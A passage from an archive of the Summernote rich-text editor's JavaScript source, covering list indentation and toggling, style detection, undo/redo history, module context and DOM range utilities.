range.create(editable).wrapBodyInlineWithPara(); const paras = rng.nodes(dom.isPara, { includeAncestor: true }); const clustereds = lists.clusterBy(paras, func.peq2('parentNode')); $.each(clustereds, (idx, paras) => { const head = lists.head(paras); if (dom.isLi(head)) { this.wrapList(paras, head.parentNode.nodeName); } else { $.each(paras, (idx, para) => { $(para).css('marginLeft', (idx, val) => { return (parseInt(val, 10) || 0) + 25; }); }); } }); rng.select(); } /** * outdent */ outdent(editable) { const rng = range.create(editable).wrapBodyInlineWithPara(); const paras = rng.nodes(dom.isPara, { includeAncestor: true }); const clustereds = lists.clusterBy(paras, func.peq2('parentNode')); $.each(clustereds, (idx, paras) => { const head = lists.head(paras); if (dom.isLi(head)) { this.releaseList([paras]); } else { $.each(paras, (idx, para) => { $(para).css('marginLeft', (idx, val) => { val = (parseInt(val, 10) || 0); return val > 25 ? val - 25 : ''; }); }); } }); rng.select(); } /** * toggle list * * @param {String} listName - OL or UL */ toggleList(listName, editable) { const rng = range.create(editable).wrapBodyInlineWithPara(); let paras = rng.nodes(dom.isPara, { includeAncestor: true }); const bookmark = rng.paraBookmark(paras); const clustereds = lists.clusterBy(paras, func.peq2('parentNode')); // paragraph to list if (lists.find(paras, dom.isPurePara)) { let wrappedParas = []; $.each(clustereds, (idx, paras) => { wrappedParas = wrappedParas.concat(this.wrapList(paras, listName)); }); paras = wrappedParas; // list to paragraph or change list style } else { const diffLists = rng.nodes(dom.isList, { includeAncestor: true }).filter((listNode) => { return !$.nodeName(listNode, listName); }); if (diffLists.length) { $.each(diffLists, (idx, listNode) => { dom.replace(listNode, listName); }); } else { paras = this.releaseList(clustereds, true); } } range.createFromParaBookmark(bookmark, paras).select(); } /** * @param {Node[]} paras * @param {String} listName * @return {Node[]} */ wrapList(paras, listName) { const head = lists.head(paras); const last = lists.last(paras); const prevList = dom.isList(head.previousSibling) && head.previousSibling; const nextList = dom.isList(last.nextSibling) && last.nextSibling; const listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last); // P to LI paras = paras.map((para) => { return dom.isPurePara(para) ? dom.replace(para, 'LI') : para; }); // append to list(<ul>, <ol>) dom.appendChildNodes(listNode, paras); if (nextList) { dom.appendChildNodes(listNode, lists.from(nextList.childNodes)); dom.remove(nextList); } return paras; } /** * @method releaseList * * @param {Array[]} clustereds * @param {Boolean} isEscapseToBody * @return {Node[]} */ releaseList(clustereds, isEscapseToBody) { let releasedParas = []; $.each(clustereds, (idx, paras) => { const head = lists.head(paras); const last = lists.last(paras); const headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode; const lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, { node: last.parentNode, offset: dom.position(last) + 1 }, { isSkipPaddingBlankHTML: true }) : null; const middleList = dom.splitTree(headList, { node: head.parentNode, offset: dom.position(head) }, { isSkipPaddingBlankHTML: true }); paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi) : lists.from(middleList.childNodes).filter(dom.isLi); // LI to P if (isEscapseToBody || !dom.isList(headList.parentNode)) { paras = paras.map((para) => { return dom.replace(para, 'P'); }); } $.each(lists.from(paras).reverse(), (idx, para) => { dom.insertAfter(para, headList); }); // remove empty lists const rootLists = lists.compact([headList, middleList, lastList]); $.each(rootLists, (idx, rootList) => { const listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList)); $.each(listNodes.reverse(), (idx, listNode) => { if (!dom.nodeLength(listNode)) { dom.remove(listNode, true); } }); }); releasedParas = releasedParas.concat(paras); }); return releasedParas; } } js/base/editing/Style.js000064400000012300151677272030011161 0ustar00import $ from 'jquery'; import env from '../core/env'; import func from '../core/func'; import lists from '../core/lists'; import dom from '../core/dom'; export default class Style { /** * @method jQueryCSS * * [workaround] for old jQuery * passing an array of style properties to .css() * will result in an object of property-value pairs. * (compability with version < 1.9) * * @private * @param {jQuery} $obj * @param {Array} propertyNames - An array of one or more CSS properties. * @return {Object} */ jQueryCSS($obj, propertyNames) { if (env.jqueryVersion < 1.9) { const result = {}; $.each(propertyNames, (idx, propertyName) => { result[propertyName] = $obj.css(propertyName); }); return result; } return $obj.css(propertyNames); } /** * returns style object from node * * @param {jQuery} $node * @return {Object} */ fromNode($node) { const properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height']; const styleInfo = this.jQueryCSS($node, properties) || {}; styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10); return styleInfo; } /** * paragraph level style * * @param {WrappedRange} rng * @param {Object} styleInfo */ stylePara(rng, styleInfo) { $.each(rng.nodes(dom.isPara, { includeAncestor: true }), (idx, para) => { $(para).css(styleInfo); }); } /** * insert and returns styleNodes on range. * * @param {WrappedRange} rng * @param {Object} [options] - options for styleNodes * @param {String} [options.nodeName] - default: `SPAN` * @param {Boolean} [options.expandClosestSibling] - default: `false` * @param {Boolean} [options.onlyPartialContains] - default: `false` * @return {Node[]} */ styleNodes(rng, options) { rng = rng.splitText(); const nodeName = (options && options.nodeName) || 'SPAN'; const expandClosestSibling = !!(options && options.expandClosestSibling); const onlyPartialContains = !!(options && options.onlyPartialContains); if (rng.isCollapsed()) { return [rng.insertNode(dom.create(nodeName))]; } let pred = dom.makePredByNodeName(nodeName); const nodes = rng.nodes(dom.isText, { fullyContains: true }).map((text) => { return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName); }); if (expandClosestSibling) { if (onlyPartialContains) { const nodesInRange = rng.nodes(); // compose with partial contains predication pred = func.and(pred, (node) => { return lists.contains(nodesInRange, node); }); } return nodes.map((node) => { const siblings = dom.withClosestSiblings(node, pred); const head = lists.head(siblings); const tails = lists.tail(siblings); $.each(tails, (idx, elem) => { dom.appendChildNodes(head, elem.childNodes); dom.remove(elem); }); return lists.head(siblings); }); } else { return nodes; } } /** * get current style on cursor * * @param {WrappedRange} rng * @return {Object} - object contains style properties. */ current(rng) { const $cont = $(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc); let styleInfo = this.fromNode($cont); // document.queryCommandState for toggle state // [workaround] prevent Firefox nsresult: "0x80004005 (NS_ERROR_FAILURE)" try { styleInfo = $.extend(styleInfo, { 'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal', 'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal', 'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal', 'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal', 'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal', 'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal', 'font-family': document.queryCommandValue('fontname') || styleInfo['font-family'] }); } catch (e) {} // list-style-type to list-style(unordered, ordered) if (!rng.isOnList()) { styleInfo['list-style'] = 'none'; } else { const orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square']; const isUnordered = $.inArray(styleInfo['list-style-type'], orderedTypes) > -1; styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered'; } const para = dom.ancestor(rng.sc, dom.isPara); if (para && para.style['line-height']) { styleInfo['line-height'] = para.style.lineHeight; } else { const lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10); styleInfo['line-height'] = lineHeight.toFixed(1); } styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor); styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable); styleInfo.range = rng; return styleInfo; } } js/base/editing/History.js000064400000004707151677272030011536 0ustar00import range from '../core/range'; export default class History { constructor($editable) { this.stack = []; this.stackOffset = -1; this.$editable = $editable; this.editable = $editable[0]; } makeSnapshot() { const rng = range.create(this.editable); const emptyBookmark = {s: {path: [], offset: 0}, e: {path: [], offset: 0}}; return { contents: this.$editable.html(), bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark) }; } applySnapshot(snapshot) { if (snapshot.contents !== null) { this.$editable.html(snapshot.contents); } if (snapshot.bookmark !== null) { range.createFromBookmark(this.editable, snapshot.bookmark).select(); } } /** * @method rewind * Rewinds the history stack back to the first snapshot taken. * Leaves the stack intact, so that "Redo" can still be used. */ rewind() { // Create snap shot if not yet recorded if (this.$editable.html() !== this.stack[this.stackOffset].contents) { this.recordUndo(); } // Return to the first available snapshot. this.stackOffset = 0; // Apply that snapshot. this.applySnapshot(this.stack[this.stackOffset]); } /** * @method reset * Resets the history stack completely; reverting to an empty editor. */ reset() { // Clear the stack. this.stack = []; // Restore stackOffset to its original value. this.stackOffset = -1; // Clear the editable area. this.$editable.html(''); // Record our first snapshot (of nothing). this.recordUndo(); } /** * undo */ undo() { // Create snap shot if not yet recorded if (this.$editable.html() !== this.stack[this.stackOffset].contents) { this.recordUndo(); } if (this.stackOffset > 0) { this.stackOffset--; this.applySnapshot(this.stack[this.stackOffset]); } } /** * redo */ redo() { if (this.stack.length - 1 > this.stackOffset) { this.stackOffset++; this.applySnapshot(this.stack[this.stackOffset]); } } /** * recorded undo */ recordUndo() { this.stackOffset++; // Wash out stack after stackOffset if (this.stack.length > this.stackOffset) { this.stack = this.stack.slice(0, this.stackOffset); } // Create new snapshot and push it to the end this.stack.push(this.makeSnapshot()); } } js/base/Context.js000064400000013423151677272030010071 0ustar00import $ from 'jquery'; import func from './core/func'; import lists from './core/lists'; import dom from './core/dom'; export default class Context { /** * @param {jQuery} $note * @param {Object} options */ constructor($note, options) { this.ui = $.summernote.ui; this.$note = $note; this.memos = {}; this.modules = {}; this.layoutInfo = {}; this.options = options; this.initialize(); } /** * create layout and initialize modules and other resources */ initialize() { this.layoutInfo = this.ui.createLayout(this.$note, this.options); this._initialize(); this.$note.hide(); return this; } /** * destroy modules and other resources and remove layout */ destroy() { this._destroy(); this.$note.removeData('summernote'); this.ui.removeLayout(this.$note, this.layoutInfo); } /** * destory modules and other resources and initialize it again */ reset() { const disabled = this.isDisabled(); this.code(dom.emptyPara); this._destroy(); this._initialize(); if (disabled) { this.disable(); } } _initialize() { // add optional buttons const buttons = $.extend({}, this.options.buttons); Object.keys(buttons).forEach((key) => { this.memo('button.' + key, buttons[key]); }); const modules = $.extend({}, this.options.modules, $.summernote.plugins || {}); // add and initialize modules Object.keys(modules).forEach((key) => { this.module(key, modules[key], true); }); Object.keys(this.modules).forEach((key) => { this.initializeModule(key); }); } _destroy() { // destroy modules with reversed order Object.keys(this.modules).reverse().forEach((key) => { this.removeModule(key); }); Object.keys(this.memos).forEach((key) => { this.removeMemo(key); }); // trigger custom onDestroy callback this.triggerEvent('destroy', this); } code(html) { const isActivated = this.invoke('codeview.isActivated'); if (html === undefined) { this.invoke('codeview.sync'); return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html(); } else { if (isActivated) { this.layoutInfo.codable.val(html); } else { this.layoutInfo.editable.html(html); } this.$note.val(html); this.triggerEvent('change', html); } } isDisabled() { return this.layoutInfo.editable.attr('contenteditable') === 'false'; } enable() { this.layoutInfo.editable.attr('contenteditable', true); this.invoke('toolbar.activate', true); this.triggerEvent('disable', false); } disable() { // close codeview if codeview is opend if (this.invoke('codeview.isActivated')) { this.invoke('codeview.deactivate'); } this.layoutInfo.editable.attr('contenteditable', false); this.invoke('toolbar.deactivate', true); this.triggerEvent('disable', true); } triggerEvent() { const namespace = lists.head(arguments); const args = lists.tail(lists.from(arguments)); const callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')]; if (callback) { callback.apply(this.$note[0], args); } this.$note.trigger('summernote.' + namespace, args); } initializeModule(key) { const module = this.modules[key]; module.shouldInitialize = module.shouldInitialize || func.ok; if (!module.shouldInitialize()) { return; } // initialize module if (module.initialize) { module.initialize(); } // attach events if (module.events) { dom.attachEvents(this.$note, module.events); } } module(key, ModuleClass, withoutIntialize) { if (arguments.length === 1) { return this.modules[key]; } this.modules[key] = new ModuleClass(this); if (!withoutIntialize) { this.initializeModule(key); } } removeModule(key) { const module = this.modules[key]; if (module.shouldInitialize()) { if (module.events) { dom.detachEvents(this.$note, module.events); } if (module.destroy) { module.destroy(); } } delete this.modules[key]; } memo(key, obj) { if (arguments.length === 1) { return this.memos[key]; } this.memos[key] = obj; } removeMemo(key) { if (this.memos[key] && this.memos[key].destroy) { this.memos[key].destroy(); } delete this.memos[key]; } /** * Some buttons need to change their visual style immediately once they get pressed */ createInvokeHandlerAndUpdateState(namespace, value) { return (event) => { this.createInvokeHandler(namespace, value)(event); this.invoke('buttons.updateCurrentStyle'); }; } createInvokeHandler(namespace, value) { return (event) => { event.preventDefault(); const $target = $(event.target); this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target); }; } invoke() { const namespace = lists.head(arguments); const args = lists.tail(lists.from(arguments)); const splits = namespace.split('.'); const hasSeparator = splits.length > 1; const moduleName = hasSeparator && lists.head(splits); const methodName = hasSeparator ? lists.last(splits) : lists.head(splits); const module = this.modules[moduleName || 'editor']; if (!moduleName && this[methodName]) { return this[methodName].apply(this, args); } else if (module && module[methodName] && module.shouldInitialize()) { return module[methodName].apply(module, args); } } } js/base/core/key.js000064400000002712151677272030010164 0ustar00import lists from './lists'; import func from './func'; const KEY_MAP = { 'BACKSPACE': 8, 'TAB': 9, 'ENTER': 13, 'SPACE': 32, 'DELETE': 46, // Arrow 'LEFT': 37, 'UP': 38, 'RIGHT': 39, 'DOWN': 40, // Number: 0-9 'NUM0': 48, 'NUM1': 49, 'NUM2': 50, 'NUM3': 51, 'NUM4': 52, 'NUM5': 53, 'NUM6': 54, 'NUM7': 55, 'NUM8': 56, // Alphabet: a-z 'B': 66, 'E': 69, 'I': 73, 'J': 74, 'K': 75, 'L': 76, 'R': 82, 'S': 83, 'U': 85, 'V': 86, 'Y': 89, 'Z': 90, 'SLASH': 191, 'LEFTBRACKET': 219, 'BACKSLASH': 220, 'RIGHTBRACKET': 221 }; /** * @class core.key * * Object for keycodes. * * @singleton * @alternateClassName key */ export default { /** * @method isEdit * * @param {Number} keyCode * @return {Boolean} */ isEdit: (keyCode) => { return lists.contains([ KEY_MAP.BACKSPACE, KEY_MAP.TAB, KEY_MAP.ENTER, KEY_MAP.SPACE, KEY_MAP.DELETE ], keyCode); }, /** * @method isMove * * @param {Number} keyCode * @return {Boolean} */ isMove: (keyCode) => { return lists.contains([ KEY_MAP.LEFT, KEY_MAP.UP, KEY_MAP.RIGHT, KEY_MAP.DOWN ], keyCode); }, /** * @property {Object} nameFromCode * @property {String} nameFromCode.8 "BACKSPACE" */ nameFromCode: func.invertObject(KEY_MAP), code: KEY_MAP }; js/base/core/range.js000064400000051772151677272030010502 0ustar00import $ from 'jquery'; import env from './env'; import func from './func'; import lists from './lists'; import dom from './dom'; /** * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js * * @param {TextRange} textRange * @param {Boolean} isStart * @return {BoundaryPoint} * * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx */ function textRangeToPoint(textRange, isStart) { let container = textRange.parentElement(); let offset; const tester = document.body.createTextRange(); let prevContainer; const childNodes = lists.from(container.childNodes); for (offset = 0; offset < childNodes.length; offset++) { if (dom.isText(childNodes[offset])) { continue; } tester.moveToElementText(childNodes[offset]); if (tester.compareEndPoints('StartToStart', textRange) >= 0) { break; } prevContainer = childNodes[offset]; } if (offset !== 0 && dom.isText(childNodes[offset - 1])) { const textRangeStart = document.body.createTextRange(); let curTextNode = null; textRangeStart.moveToElementText(prevContainer || container); textRangeStart.collapse(!prevContainer); curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild; const pointTester = textRange.duplicate(); pointTester.setEndPoint('StartToStart', textRangeStart); let textCount = pointTester.text.replace(/[\r\n]/g, '').length; while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) { textCount -= curTextNode.nodeValue.length; curTextNode = curTextNode.nextSibling; } // [workaround] enforce IE to re-reference curTextNode, hack const dummy = curTextNode.nodeValue; // eslint-disable-line if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) && textCount === curTextNode.nodeValue.length) { textCount -= curTextNode.nodeValue.length; curTextNode = curTextNode.nextSibling; } container = curTextNode; offset = textCount; } return { cont: container, offset: offset }; } /** * return TextRange from boundary point (inspired by google closure-library) * @param {BoundaryPoint} point * @return {TextRange} */ function pointToTextRange(point) { const textRangeInfo = function(container, offset) { let node, isCollapseToStart; if (dom.isText(container)) { const prevTextNodes = dom.listPrev(container, func.not(dom.isText)); const prevContainer = lists.last(prevTextNodes).previousSibling; node = prevContainer || container.parentNode; offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength); isCollapseToStart = !prevContainer; } else { node = container.childNodes[offset] || container; if (dom.isText(node)) { return textRangeInfo(node, 0); } offset = 0; isCollapseToStart = false; } return { node: node, collapseToStart: isCollapseToStart, offset: offset }; }; const textRange = document.body.createTextRange(); const info = textRangeInfo(point.node, point.offset); textRange.moveToElementText(info.node); textRange.collapse(info.collapseToStart); textRange.moveStart('character', info.offset); return textRange; } /** * Wrapped Range * * @constructor * @param {Node} sc - start container * @param {Number} so - start offset * @param {Node} ec - end container * @param {Number} eo - end offset */ class WrappedRange { constructor(sc, so, ec, eo) { this.sc = sc; this.so = so; this.ec = ec; this.eo = eo; // isOnEditable: judge whether range is on editable or not this.isOnEditable = this.makeIsOn(dom.isEditable); // isOnList: judge whether range is on list node or not this.isOnList = this.makeIsOn(dom.isList); // isOnAnchor: judge whether range is on anchor node or not this.isOnAnchor = this.makeIsOn(dom.isAnchor); // isOnCell: judge whether range is on cell node or not this.isOnCell = this.makeIsOn(dom.isCell); // isOnData: judge whether range is on data node or not this.isOnData = this.makeIsOn(dom.isData); } // nativeRange: get nativeRange from sc, so, ec, eo nativeRange() { if (env.isW3CRangeSupport) { const w3cRange = document.createRange(); w3cRange.setStart(this.sc, this.so); w3cRange.setEnd(this.ec, this.eo); return w3cRange; } else { const textRange = pointToTextRange({ node: this.sc, offset: this.so }); textRange.setEndPoint('EndToEnd', pointToTextRange({ node: this.ec, offset: this.eo })); return textRange; } } getPoints() { return { sc: this.sc, so: this.so, ec: this.ec, eo: this.eo }; } getStartPoint() { return { node: this.sc, offset: this.so }; } getEndPoint() { return { node: this.ec, offset: this.eo }; } /** * select update visible range */ select() { const nativeRng = this.nativeRange(); if (env.isW3CRangeSupport) { const selection = document.getSelection(); if (selection.rangeCount > 0) { selection.removeAllRanges(); } selection.addRange(nativeRng); } else { nativeRng.select(); } return this; } /** * Moves the scrollbar to start container(sc) of current range * * @return {WrappedRange} */ scrollIntoView(container) { const height = $(container).height(); if (container.scrollTop + height < this.sc.offsetTop) { container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop); } return this; } /** * @return {WrappedRange} */ normalize() { /** * @param {BoundaryPoint} point * @param {Boolean} isLeftToRight * @return {BoundaryPoint} */ const getVisiblePoint = function(point, isLeftToRight) { if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) || (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) || (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) || (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) { return point; } // point on block's edge const block = dom.ancestor(point.node, dom.isBlock); if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) || ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) { // returns point already on visible point if (dom.isVisiblePoint(point)) { return point; } // reverse direction isLeftToRight = !isLeftToRight; } const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint) : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint); return nextPoint || point; }; const endPoint = getVisiblePoint(this.getEndPoint(), false); const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true); return new WrappedRange( startPoint.node, startPoint.offset, endPoint.node, endPoint.offset ); } /** * returns matched nodes on range * * @param {Function} [pred] - predicate function * @param {Object} [options] * @param {Boolean} [options.includeAncestor] * @param {Boolean} [options.fullyContains] * @return {Node[]} */ nodes(pred, options) { pred = pred || func.ok; const includeAncestor = options && options.includeAncestor; const fullyContains = options && options.fullyContains; // TODO compare points and sort const startPoint = this.getStartPoint(); const endPoint = this.getEndPoint(); const nodes = []; const leftEdgeNodes = []; dom.walkPoint(startPoint, endPoint, function(point) { if (dom.isEditable(point.node)) { return; } let node; if (fullyContains) { if (dom.isLeftEdgePoint(point)) { leftEdgeNodes.push(point.node); } if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) { node = point.node; } } else if (includeAncestor) { node = dom.ancestor(point.node, pred); } else { node = point.node; } if (node && pred(node)) { nodes.push(node); } }, true); return lists.unique(nodes); } /** * returns commonAncestor of range * @return {Element} - commonAncestor */ commonAncestor() { return dom.commonAncestor(this.sc, this.ec); } /** * returns expanded range by pred * * @param {Function} pred - predicate function * @return {WrappedRange} */ expand(pred) { const startAncestor = dom.ancestor(this.sc, pred); const endAncestor = dom.ancestor(this.ec, pred); if (!startAncestor && !endAncestor) { return new WrappedRange(this.sc, this.so, this.ec, this.eo); } const boundaryPoints = this.getPoints(); if (startAncestor) { boundaryPoints.sc = startAncestor; boundaryPoints.so = 0; } if (endAncestor) { boundaryPoints.ec = endAncestor; boundaryPoints.eo = dom.nodeLength(endAncestor); } return new WrappedRange( boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo ); } /** * @param {Boolean} isCollapseToStart * @return {WrappedRange} */ collapse(isCollapseToStart) { if (isCollapseToStart) { return new WrappedRange(this.sc, this.so, this.sc, this.so); } else { return new WrappedRange(this.ec, this.eo, this.ec, this.eo); } } /** * splitText on range */ splitText() { const isSameContainer = this.sc === this.ec; const boundaryPoints = this.getPoints(); if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) { this.ec.splitText(this.eo); } if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) { boundaryPoints.sc = this.sc.splitText(this.so); boundaryPoints.so = 0; if (isSameContainer) { boundaryPoints.ec = boundaryPoints.sc; boundaryPoints.eo = this.eo - this.so; } } return new WrappedRange( boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo ); } /** * delete contents on range * @return {WrappedRange} */ deleteContents() { if (this.isCollapsed()) { return this; } const rng = this.splitText(); const nodes = rng.nodes(null, { fullyContains: true }); // find new cursor point const point = dom.prevPointUntil(rng.getStartPoint(), function(point) { return !lists.contains(nodes, point.node); }); const emptyParents = []; $.each(nodes, function(idx, node) { // find empty parents const parent = node.parentNode; if (point.node !== parent && dom.nodeLength(parent) === 1) { emptyParents.push(parent); } dom.remove(node, false); }); // remove empty parents $.each(emptyParents, function(idx, node) { dom.remove(node, false); }); return new WrappedRange( point.node, point.offset, point.node, point.offset ).normalize(); } /** * makeIsOn: return isOn(pred) function */ makeIsOn(pred) { return function() { const ancestor = dom.ancestor(this.sc, pred); return !!ancestor && (ancestor === dom.ancestor(this.ec, pred)); }; } /** * @param {Function} pred * @return {Boolean} */ isLeftEdgeOf(pred) { if (!dom.isLeftEdgePoint(this.getStartPoint())) { return false; } const node = dom.ancestor(this.sc, pred); return node && dom.isLeftEdgeOf(this.sc, node); } /** * returns whether range was collapsed or not */ isCollapsed() { return this.sc === this.ec && this.so === this.eo; } /** * wrap inline nodes which children of body with paragraph * * @return {WrappedRange} */ wrapBodyInlineWithPara() { if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) { this.sc.innerHTML = dom.emptyPara; return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0); } /** * [workaround] firefox often create range on not visible point. so normalize here. * - firefox: |<p>text</p>| * - chrome: <p>|text|</p> */ const rng = this.normalize(); if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) { return rng; } // find inline top ancestor let topAncestor; if (dom.isInline(rng.sc)) { const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline)); topAncestor = lists.last(ancestors); if (!dom.isInline(topAncestor)) { topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so]; } } else { topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0]; } // siblings not in paragraph let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse(); inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline)); // wrap with paragraph if (inlineSiblings.length) { const para = dom.wrap(lists.head(inlineSiblings), 'p'); dom.appendChildNodes(para, lists.tail(inlineSiblings)); } return this.normalize(); } /** * insert node at current cursor * * @param {Node} node * @return {Node} */ insertNode(node) { const rng = this.wrapBodyInlineWithPara().deleteContents(); const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node)); if (info.rightNode) { info.rightNode.parentNode.insertBefore(node, info.rightNode); } else { info.container.appendChild(node); } return node; } /** * insert html at current cursor */ pasteHTML(markup) { const contentsContainer = $('<div></div>').html(markup)[0]; const childNodes = lists.from(contentsContainer.childNodes); const rng = this.wrapBodyInlineWithPara().deleteContents(); return childNodes.reverse().map(function(childNode) { return rng.insertNode(childNode); }).reverse(); } /** * returns text in range * * @return {String} */ toString() { const nativeRng = this.nativeRange(); return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text; } /** * returns range for word before cursor * * @param {Boolean} [findAfter] - find after cursor, default: false * @return {WrappedRange} */ getWordRange(findAfter) { let endPoint = this.getEndPoint(); if (!dom.isCharPoint(endPoint)) { return this; } const startPoint = dom.prevPointUntil(endPoint, function(point) { return !dom.isCharPoint(point); }); if (findAfter) { endPoint = dom.nextPointUntil(endPoint, function(point) { return !dom.isCharPoint(point); }); } return new WrappedRange( startPoint.node, startPoint.offset, endPoint.node, endPoint.offset ); } /** * create offsetPath bookmark * * @param {Node} editable */ bookmark(editable) { return { s: { path: dom.makeOffsetPath(editable, this.sc), offset: this.so }, e: { path: dom.makeOffsetPath(editable, this.ec), offset: this.eo } }; } /** * create offsetPath bookmark base on paragraph * * @param {Node[]} paras */ paraBookmark(paras) { return { s: { path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)), offset: this.so }, e: { path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)), offset: this.eo } }; } /** * getClientRects * @return {Rect[]} */ getClientRects() { const nativeRng = this.nativeRange(); return nativeRng.getClientRects(); } } /** * Data structure * * BoundaryPoint: a point of dom tree * * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range * * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position */ export default { /** * create Range Object From arguments or Browser Selection * * @param {Node} sc - start container * @param {Number} so - start offset * @param {Node} ec - end container * @param {Number} eo - end offset * @return {WrappedRange} */ create: function(sc, so, ec, eo) { if (arguments.length === 4) { return new WrappedRange(sc, so, ec, eo); } else if (arguments.length === 2) { // collapsed ec = sc; eo = so; return new WrappedRange(sc, so, ec, eo); } else { let wrappedRange = this.createFromSelection(); if (!wrappedRange && arguments.length === 1) { wrappedRange = this.createFromNode(arguments[0]); return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML); } return wrappedRange; } }, createFromSelection: function() { let sc, so, ec, eo; if (env.isW3CRangeSupport) { const selection = document.getSelection(); if (!selection || selection.rangeCount === 0) { return null; } else if (dom.isBody(selection.anchorNode)) { // Firefox: returns entire body as range on initialization. // We won't never need it. return null; } const nativeRng = selection.getRangeAt(0); sc = nativeRng.startContainer; so = nativeRng.startOffset; ec = nativeRng.endContainer; eo = nativeRng.endOffset; } else { // IE8: TextRange const textRange = document.selection.createRange(); const textRangeEnd = textRange.duplicate(); textRangeEnd.collapse(false); const textRangeStart = textRange; textRangeStart.collapse(true); let startPoint = textRangeToPoint(textRangeStart, true); let endPoint = textRangeToPoint(textRangeEnd, false); // same visible point case: range was collapsed. if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) && dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) && endPoint.node.nextSibling === startPoint.node) { startPoint = endPoint; } sc = startPoint.cont; so = startPoint.offset; ec = endPoint.cont; eo = endPoint.offset; } return new WrappedRange(sc, so, ec, eo); }, /** * @method * * create WrappedRange from node * * @param {Node} node * @return {WrappedRange} */ createFromNode: function(node) { let sc = node; let so = 0; let ec = node; let eo = dom.nodeLength(ec); // browsers can't target a picture or void node if (dom.isVoid(sc)) { so = dom.listPrev(sc).length - 1; sc = sc.parentNode; } if (dom.isBR(ec)) { eo = dom.listPrev(ec).length - 1; ec = ec.parentNode; } else if (dom.isVoid(ec)) { eo = dom.listPrev(ec).length; ec = ec.parentNode; } return this.create(sc, so, ec, eo); }, /** * create WrappedRange from node after position * * @param {Node} node * @return {WrappedRange} */ createFromNodeBefore: function(node) { return this.createFromNode(node).collapse(true); }, /** * create WrappedRange from node after position * * @param {Node} node * @return {WrappedRange} */ createFromNodeAfter: function(node) { return this.createFromNode(node).collapse(); }, /** * @method * * create WrappedRange from bookmark * * @param {Node} editable * @param {Object} bookmark * @return {WrappedRange} */ createFromBookmark: function(editable, bookmark) { const sc = dom.fromOffsetPath(editable, bookmark.s.path); const so = bookmark.s.offset; const ec = dom.fromOffsetPath(editable, bookmark.e.path); const eo = bookmark.e.offset; return new WrappedRange(sc, so, ec, eo); }, /** * @method * * create WrappedRange from paraBookmark * * @param {Object} bookmark * @param {Node[]} paras * @return {WrappedRange} */ createFromParaBookmark: function(bookmark, paras) { const so = bookmark.s.offset; const eo = bookmark.e.offset; const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path); const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path); return new WrappedRange(sc, so, ec, eo); } }; js/base/core/async.js000064400000002056151677272030010512 0ustar00import $ from 'jquery'; /** * @method readFileAsDataURL * * read contents of file as representing URL 